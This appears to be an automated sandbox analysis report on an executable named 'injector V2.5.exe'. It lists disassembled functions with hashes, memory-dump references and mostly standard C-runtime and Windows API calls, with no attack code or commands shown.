Opcode ID: be77e1d7f50bcc72abeb7819c7fc3ae9350c544f4054829b38ca03c99b2b1a4f
Instruction ID: d0b22c971addbd7a8aaa3fc9551b47b929e31e132074f7e693666c17d20d2d09
Opcode Fuzzy Hash: be77e1d7f50bcc72abeb7819c7fc3ae9350c544f4054829b38ca03c99b2b1a4f
Instruction Fuzzy Hash: DE512D71A416598FDB18CF55D8856DFBBF2FB58350F18992AD412E7390E3B49900CF90

Function 005FF4D0 Relevance: 1.6, Strings: 1, Instructions: 329COMMONLIBRARYCODE

Download Yara Rule

Strings

k#fz, xrefs: 005FF718

Memory Dump Source

Source File: 00000000.00000002.1716401918.00000000005F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.1716387436.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716421125.0000000000613000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716435456.000000000061B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716448973.000000000061C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716461316.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716475684.0000000000621000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_injector V2.jbxd

Similarity

API ID:
String ID: k#fz
API String ID: 0-1948189604
Opcode ID: 7d2b92a68e1b8b1830cd4a016840bf8b901fbf9f1078d7b811290cbc9af5bada
Instruction ID: 27e12533ada161fc6978f30737a1a986bb08370a543dc64709424418738aca45
Opcode Fuzzy Hash: 7d2b92a68e1b8b1830cd4a016840bf8b901fbf9f1078d7b811290cbc9af5bada
Instruction Fuzzy Hash: 50D13172E115188FDB10CEBDC94069DBBF2BF48720F2A8729E965FB6D4D63499418B80

Function 00605438 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00015560), ref: 0060543D

Memory Dump Source

Source File: 00000000.00000002.1716401918.00000000005F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.1716387436.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716421125.0000000000613000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716435456.000000000061B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716448973.000000000061C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716461316.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716475684.0000000000621000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_injector V2.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: d9de9928e9a8eace8d0e2bdb5b0bbd3cc5c9b638a558dbc0476400e807edfb2b
Instruction ID: cc5abb615f928e0ad54d059a4268a45ee0c41719a00ca07ffb6717aefcad3e15
Opcode Fuzzy Hash: d9de9928e9a8eace8d0e2bdb5b0bbd3cc5c9b638a558dbc0476400e807edfb2b
Instruction Fuzzy Hash:

Function 00609F90 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00609F90

Memory Dump Source

Source File: 00000000.00000002.1716401918.00000000005F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.1716387436.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716421125.0000000000613000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716435456.000000000061B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716448973.000000000061C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716461316.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716475684.0000000000621000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_injector V2.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 0df59532cd8e661acc071a89443c5ff0b7d0bae8c2e0f6e64f4fb6db4510bdc9
Instruction ID: 63f7c8ef6482c013fb237a05e567c6be8eed23c1d217956605c4e9db1af88327
Opcode Fuzzy Hash: 0df59532cd8e661acc071a89443c5ff0b7d0bae8c2e0f6e64f4fb6db4510bdc9
Instruction Fuzzy Hash: 65A00270D411018BD7404F75AA1529D3AD66945691709D1665405C5160D63454559B15

Function 005F86C0 Relevance: .7, Instructions: 725COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1716401918.00000000005F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.1716387436.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716421125.0000000000613000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716435456.000000000061B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716448973.000000000061C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716461316.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716475684.0000000000621000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e19156ba2ecaf578c44f8189a42d8724fb445076064de5ec7fc1a402f569acee
Instruction ID: d711651e1a456a17654df92074ef7388428e0dfe87419381d0bde8a7bb672ae2
Opcode Fuzzy Hash: e19156ba2ecaf578c44f8189a42d8724fb445076064de5ec7fc1a402f569acee
Instruction Fuzzy Hash: 7632D376E442844FEB018ABCC4A53DF6FF25B6B334F296719C6A46F3D6D91B040A8B50

Function 006034D0 Relevance: .6, Instructions: 607COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1716401918.00000000005F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.1716387436.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716421125.0000000000613000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716435456.000000000061B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716448973.000000000061C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716461316.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716475684.0000000000621000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d1653d5d05d827914a193c2d2b203066352463bd77e5dfba5a7b054795746de
Instruction ID: ad3871a583fd240b1fcaa86f46e4443d85d95872e5d459be03167ed7c7614484
Opcode Fuzzy Hash: 1d1653d5d05d827914a193c2d2b203066352463bd77e5dfba5a7b054795746de
Instruction Fuzzy Hash: 9302C377A916504FEF01497CC8B83DB1BE747A7735E2A2726CAB05B3E2C55B010E9B50

Function 005FF980 Relevance: .5, Instructions: 456COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1716401918.00000000005F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.1716387436.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716421125.0000000000613000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716435456.000000000061B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716448973.000000000061C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716461316.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716475684.0000000000621000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0497c1ece72bce7cea91399d83e5cd3da8bec8792b641691853af2fd5ebe61d3
Instruction ID: 77b613582fb08ae67a9eddfa0b2a8e5dcdd4477b7eabea30b283d5559e15e01b
Opcode Fuzzy Hash: 0497c1ece72bce7cea91399d83e5cd3da8bec8792b641691853af2fd5ebe61d3
Instruction Fuzzy Hash: 0FE13C72A505544FDF008A7CC4A83EF2FE25B6B334F2A2726DAB06F7D2D65B04099B50

Function 005FBD50 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1716401918.00000000005F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.1716387436.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716421125.0000000000613000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716435456.000000000061B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716448973.000000000061C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716461316.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716475684.0000000000621000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 946aa40d6aff84aa899a2952442f80450f44698323960e47ae53c9ff2b8503fd
Instruction ID: 0dd12cdb0e45ec318066a525c8433f750a03acff8b777095c5d9c81da76aa7d0
Opcode Fuzzy Hash: 946aa40d6aff84aa899a2952442f80450f44698323960e47ae53c9ff2b8503fd
Instruction Fuzzy Hash: 23D0923A645A58AFC310CF49E840D41F7B9FB8D670B158066EA0893B20C331FC11CBE0

Function 006090D3 Relevance: 17.8, APIs: 5, Strings: 5, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 006091F2
___TypeMatch.LIBVCRUNTIME ref: 00609300
CatchIt.LIBVCRUNTIME ref: 00609351
_UnwindNestedFrames.LIBCMT ref: 00609452
CallUnexpected.LIBVCRUNTIME ref: 0060946D

Strings

csm, xrefs: 00609229
csm, xrefs: 0060917D
81a, xrefs: 006091E9
@]`, xrefs: 0060926D, 00609275
csm, xrefs: 00609110

Memory Dump Source

Source File: 00000000.00000002.1716401918.00000000005F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.1716387436.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716421125.0000000000613000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716435456.000000000061B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716448973.000000000061C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716461316.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716475684.0000000000621000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_injector V2.jbxd

Similarity

API ID: CallCatchFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: 81a$@]`$csm$csm$csm
API String ID: 4119006552-2904502630
Opcode ID: fe1439339c7b6a5e8adca62cbe2ea3462f8d3d8c2e65a2e381a29e32d83fc6bb
Instruction ID: 3016f033c445908f10900d40dad0f93e59d8fb4ed785d9069d62958cf1288aad
Opcode Fuzzy Hash: fe1439339c7b6a5e8adca62cbe2ea3462f8d3d8c2e65a2e381a29e32d83fc6bb
Instruction Fuzzy Hash: 87B14871880209EFCF2DDFA4C8819AFB7B7BF14310B14415AE8516B292D731DA52CFA5

Function 00606130 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 122COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00606167
___except_validate_context_record.LIBVCRUNTIME ref: 0060616F
_ValidateLocalCookies.LIBCMT ref: 006061F8
__IsNonwritableInCurrentImage.LIBCMT ref: 00606223
_ValidateLocalCookies.LIBCMT ref: 00606278

Strings

csm, xrefs: 0060620D
^`, xrefs: 00606215, 0060621E, 0060622F

Memory Dump Source

Source File: 00000000.00000002.1716401918.00000000005F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.1716387436.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716421125.0000000000613000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716435456.000000000061B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716448973.000000000061C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716461316.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716475684.0000000000621000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_injector V2.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: ^`$csm
API String ID: 1170836740-1882418840
Opcode ID: c26ba33b4f30b571918c3f623e990367162d33124526fab73bea00f59fe64a62
Instruction ID: 90456e970c5f5d5309060872ef2bf3443fd3f0d848e6d25cd926d0bfeb833730
Opcode Fuzzy Hash: c26ba33b4f30b571918c3f623e990367162d33124526fab73bea00f59fe64a62
Instruction Fuzzy Hash: A041B334A40219ABCF18DF68C844ADFBBA7AF45314F188599F8155B3D3D731AA25CB90

Function 00610308 Relevance: 12.2, APIs: 8, Instructions: 248COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?,?,?,?,006102F3,?,?,?,?,?,?,?,?,?), ref: 006103AE
__alloca_probe_16.LIBCMT ref: 00610469
__alloca_probe_16.LIBCMT ref: 006104F8
__freea.LIBCMT ref: 00610543
__freea.LIBCMT ref: 00610549
__freea.LIBCMT ref: 0061057F
__freea.LIBCMT ref: 00610585
__freea.LIBCMT ref: 00610595

Memory Dump Source

Source File: 00000000.00000002.1716401918.00000000005F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.1716387436.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716421125.0000000000613000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716435456.000000000061B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716448973.000000000061C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716461316.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716475684.0000000000621000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_injector V2.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: e265d3f8e77baf8072f43c326dbad3aa81b6f9c6be00d00b3766d3fc8c1601d2
Instruction ID: 6b10638dc25e9bc4a3cd96c350900d51597d1284e28d6bd1f5a1a3fdc9f4682a
Opcode Fuzzy Hash: e265d3f8e77baf8072f43c326dbad3aa81b6f9c6be00d00b3766d3fc8c1601d2
Instruction Fuzzy Hash: B171D472900206ABFF219B648981BEF7BAB9F49310F1C4459F915A7381E7B5DDC08B64

Function 0060883A Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00608831,00605F0D,006055A4), ref: 00608848
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00608856
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0060886F
SetLastError.KERNEL32(00000000,00608831,00605F0D,006055A4), ref: 006088C1

Memory Dump Source

Source File: 00000000.00000002.1716401918.00000000005F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.1716387436.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716421125.0000000000613000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716435456.000000000061B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716448973.000000000061C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716461316.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716475684.0000000000621000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_injector V2.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 4822ae0fc5f684a21b546cf2797e5f2a127b5c2e39853ff0dc0659204779a8b1
Instruction ID: 26b623a5a697a5a8925c9481550a18c81e7c7e487b339b206f7a6a477cc0ac4d
Opcode Fuzzy Hash: 4822ae0fc5f684a21b546cf2797e5f2a127b5c2e39853ff0dc0659204779a8b1
Instruction Fuzzy Hash: 12014C322882115DEB6C9BB57C869DF3787EB627B0364933FF010421E1EF118C015284

Function 0060CB54 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\injector V2.5.exe, xrefs: 0060CB70

Memory Dump Source

Source File: 00000000.00000002.1716401918.00000000005F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.1716387436.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716421125.0000000000613000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716435456.000000000061B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716448973.000000000061C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716461316.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716475684.0000000000621000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_injector V2.jbxd

Similarity

API ID:
String ID: C:\Users\user\Desktop\injector V2.5.exe
API String ID: 0-3924246060
Opcode ID: 21d0de103319c52a7ef06b882a7ca54d4c475b06f8088c9f42b415bc2877c136
Instruction ID: 645d292248e9491ef5cb64f1b936c23e8c4f04460c3bb21068463e209988d407
Opcode Fuzzy Hash: 21d0de103319c52a7ef06b882a7ca54d4c475b06f8088c9f42b415bc2877c136
Instruction Fuzzy Hash: 5D21C671280205AFDB28AF69DC91DAB77ABEF453B47108729F919972D1D730EC409BA0

Function 00606F54 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,F8F81887,?,?,00000000,006125EB,000000FF,?,00607015,00000002,?,006070B1,006083A0), ref: 00606F89
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00606F9B
FreeLibrary.KERNEL32(00000000,?,?,00000000,006125EB,000000FF,?,00607015,00000002,?,006070B1,006083A0), ref: 00606FBD

Strings

mscoree.dll, xrefs: 00606F82
CorExitProcess, xrefs: 00606F93

Memory Dump Source

Source File: 00000000.00000002.1716401918.00000000005F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.1716387436.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716421125.0000000000613000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716435456.000000000061B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716448973.000000000061C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716461316.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716475684.0000000000621000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_injector V2.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 6f8fca6ad2f3179b0b54b2877ee10a3b70c69d340c6c17e96a0a5d71d74f0a51
Instruction ID: 934280ff25b276e832d757a1e2dee35f7571ae6b6b6de95d3ae1ee7b91886bee
Opcode Fuzzy Hash: 6f8fca6ad2f3179b0b54b2877ee10a3b70c69d340c6c17e96a0a5d71d74f0a51
Instruction Fuzzy Hash: 09018F3194461AABDB018F50DC09FEEB7FAFB04B51F084526F811E23D0DB749900CAA0

Function 0060DF1D Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 0060DFA2
__alloca_probe_16.LIBCMT ref: 0060E06B
__freea.LIBCMT ref: 0060E0D2

Part of subcall function 0060BC45: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,006041E0,?,?,00601007,?,005FFAB5), ref: 0060BC77

__freea.LIBCMT ref: 0060E0E5
__freea.LIBCMT ref: 0060E0F2

Memory Dump Source

Source File: 00000000.00000002.1716401918.00000000005F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.1716387436.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716421125.0000000000613000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716435456.000000000061B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716448973.000000000061C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716461316.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716475684.0000000000621000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_injector V2.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 4f2a37917a2232237a70fb37191c0dd5b5db7f197796d3f3067b2bd74a7b7bca
Instruction ID: a52548b5d6c2f01204a3c199645b9b2452c4b9245e58dcd40324dece409201a4
Opcode Fuzzy Hash: 4f2a37917a2232237a70fb37191c0dd5b5db7f197796d3f3067b2bd74a7b7bca
Instruction Fuzzy Hash: 9A519372680226ABEB295F60CC41EFB76ABEF44710B15492DF916D6381FB72CC60C664

Function 006094F8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,006093FE,?,?,00000000,00000000,00000000,?), ref: 0060951D
CatchIt.LIBVCRUNTIME ref: 00609603

Strings

MOC, xrefs: 0060952F
RCC, xrefs: 00609537

Memory Dump Source

Source File: 00000000.00000002.1716401918.00000000005F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.1716387436.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716421125.0000000000613000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716435456.000000000061B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716448973.000000000061C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716461316.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716475684.0000000000621000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_injector V2.jbxd

Similarity

API ID: CatchEncodePointer
String ID: MOC$RCC
API String ID: 1435073870-2084237596
Opcode ID: c186e361e11ea8090526556bb80e83adc748b5ceb3f84762871363c06ccb755c
Instruction ID: ba8aeba0b1b3876b7261d5ddc1a286bc4deb715d493b145df7f8d08dace7767c
Opcode Fuzzy Hash: c186e361e11ea8090526556bb80e83adc748b5ceb3f84762871363c06ccb755c
Instruction Fuzzy Hash: 32414771940209AFDF1ADF94CC81AEEBBB7EF48300F188099F905A7292D7369950DB60

Function 0060DC5E Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,0060DCFA,00000000,?,0061CCD0,?,?,?,0060DC31,00000004,InitializeCriticalSectionEx,006146F8,00614700), ref: 0060DC6B
GetLastError.KERNEL32(?,0060DCFA,00000000,?,0061CCD0,?,?,?,0060DC31,00000004,InitializeCriticalSectionEx,006146F8,00614700,00000000,?,0060971C), ref: 0060DC75
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 0060DC9D

Strings

api-ms-, xrefs: 0060DC82

Memory Dump Source

Source File: 00000000.00000002.1716401918.00000000005F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.1716387436.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716421125.0000000000613000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716435456.000000000061B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716448973.000000000061C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716461316.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716475684.0000000000621000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_injector V2.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 52f98306c4187fed848710758ff9e62fe9ce612b16c56e0ad12ed772dd94fbb0
Instruction ID: 5af42f180c4baa0eef4ff5e1f96e0d9cae143db4e2e246d3e847dec306b04f08
Opcode Fuzzy Hash: 52f98306c4187fed848710758ff9e62fe9ce612b16c56e0ad12ed772dd94fbb0
Instruction Fuzzy Hash: 5BE048306C0205BFFF102F91EC0ABD93B9BAB01B58F14C031F90DE81E1EBA29851C554

Function 0060E5E8 Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(F8F81887,00000000,00000000,?), ref: 0060E64B

Part of subcall function 0060D131: WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,000000FF,?,?,00000000,?,?,006087B1,?,00000000,?), ref: 0060D192

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0060E89D
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 0060E8E3
GetLastError.KERNEL32 ref: 0060E986

Memory Dump Source

Source File: 00000000.00000002.1716401918.00000000005F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.1716387436.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716421125.0000000000613000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716435456.000000000061B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716448973.000000000061C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716461316.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1716475684.0000000000621000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_injector V2.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: b93a32f2cffbab3c386a59e7fcf515bdf8841d8d20c727ee279551ec16ec9962
Instruction ID: 195f73ff93b442b7bd33aeb10f4f37efa412dec202d68ce58d5f88803c0d8bec
Opcode Fuzzy Hash: b93a32f2cffbab3c386a59e7fcf515bdf8841d8d20c727ee279551ec16ec9962
Instruction Fuzzy Hash: 80D18C75D402589FCF19CFA8D8809EEFBB6FF08314F18456AE456EB391D631A942CB50

Function 00608EFC Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00608FC3
___AdjustPointer.LIBCMT ref: 00608FE6
___AdjustPointer.LIBCMT ref: 00609082

Memory Dump Source

Source File: 00000000.00000002.1716401918.00000000005F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.1716387436.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
